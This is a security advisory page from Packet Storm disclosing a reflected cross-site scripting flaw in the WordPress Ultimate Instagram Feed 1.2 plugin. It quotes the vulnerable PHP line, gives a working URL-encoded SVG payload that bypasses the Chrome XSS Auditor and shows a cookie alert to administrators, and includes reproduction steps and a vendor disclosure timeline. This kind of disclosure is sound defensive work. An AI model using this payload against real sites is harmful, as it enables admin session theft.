Exploit the possiblities

WordPress Ultimate Instagram Feed 1.2 Cross Site Scripting

WordPress Ultimate Instagram Feed 1.2 Cross Site Scripting
Posted Nov 8, 2017
Authored by Dimopoulos Elias

WordPress Ultimate Instagram Feed plugin version 1.2 suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | bff5983142bc03d496aad55d8a829d23

WordPress Ultimate Instagram Feed 1.2 Cross Site Scripting

Change Mirror Download
------------------------------------------
**Ultimate Instagram Feed* - WordPress plugin*
Version: 1.2
Author: OmarK <http://omark.me/>
------------------------------------------

The vulnerability lies in the "*access_token*" parameter and can cause
reflected *XSS* vulnerability.

The issue is on the file
*ultimate-instagram-feed/admin/partials/uif-access-token-display.php* line
19:

<input id='uif_access_token' type="text" class="regular-text"
name="uif_access_token" value="<?php if(get_option('uif_access_token')){echo
get_option('uif_access_token');}elseif(isset($_GET['access_token'])){*echo
$_GET['access_token'];*} ?>">

the vulnerable code is the following:
*echo $_GET['access_token'];*

There is an echo of the variable "access_token", which can be controlled by
the user. This leads to reflected XSS vulnerability.

The vulnerability can be exploited against an administrator by using the
following url:

http://victim/wp-admin/admin.php?page=ultimate-instagram-fee
d.php&access_token=%22%3E%3Cbr%3E%3C%2Fbr%3E
*Please+Watch+the+video+before+proceeding*%3A%3Cbr%3E%3Cbr%3E%3Csvg+width%
3D12cm+height%3D9cm%3E%3Ca%3E%3Cimage+href%3D%2F%2Fbrutelogic.com.br%2
Fyt.jpg+%2F%3E%3Canimate+attributeName%3Dhref+values%3Djavas%26%2399ript%3A
*alert%28document.cookie%29%3E*

A logged in Administrator, who will click on the above link, he will
introduced with a video as presented in the attached PoC picture. When he
will click the video, the javascript code (an alert box for this poc) will
be executed.

In this case, the javascript code is just an alert box with the cookie,
however any kind of malicious javascript code can be used. The attacker can
gain access to the session cookie and gain access to the wordpress as an
admin.

*Reproduce*:

1. Login to your wordpress as an admin.
2. Access the following link:

http://*yoursite*/wp-admin/admin.php?page=ultimate-instagram-f
eed.php&access_token=%22%3E%3Cbr%3E%3C%2Fbr%3EPlease+Watch+the+video+before+
proceeding%3A%3Cbr%3E%3Cbr%3E%3Csvg+width%3D12cm+height%3D9cm%3E%3Ca%3E%
3Cimage+href%3D%2F%2Fbrutelogic.com.br%2Fyt.jpg+%2F%3E%3Canimate+
attributeName%3Dhref+values%3Djavas%26%2399ript%3Aalert%
28document.cookie%29%3E

3. You should see the same screen as in my PoC picture.
4. Click to see the video.
5. The alert box should be executed.

I used this kind of payload in order to bypass the Chrome XSS Auditor. The
vulnerability has been tested against:

- Ultimate Instagram Feed Version: 1.2
- WordPress 4.8.3 running Twenty Seventeen theme.
- Chrome Version 61.0.3163.100 (Official Build) (64-bit)

*Timeline*:
31 Oct 2017: Initial Contact.
31 Oct 2017: Vendor replies and asks for more information.
1 Nov 2017: Details have been provided to the vendor.
2 Nov 2017: WordPress has been informed/WordPress team Requests more
information and receives them.
4 Nov 2017: WordPress acknowledges
4 Nov 2017: Vendor releases version 1.3 which fixes the issue.
8 Nov 2017: Public Disclosure

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
gr33tz for the payload @brutelogic (
https://brutelogic.com.br/blog/chrome-xss-auditor-svg-bypass/)
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

January 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    16 Files
  • 4
    Jan 4th
    39 Files
  • 5
    Jan 5th
    26 Files
  • 6
    Jan 6th
    40 Files
  • 7
    Jan 7th
    2 Files
  • 8
    Jan 8th
    16 Files
  • 9
    Jan 9th
    25 Files
  • 10
    Jan 10th
    28 Files
  • 11
    Jan 11th
    44 Files
  • 12
    Jan 12th
    32 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    4 Files
  • 15
    Jan 15th
    31 Files
  • 16
    Jan 16th
    15 Files
  • 17
    Jan 17th
    16 Files
  • 18
    Jan 18th
    24 Files
  • 19
    Jan 19th
    15 Files
  • 20
    Jan 20th
    5 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close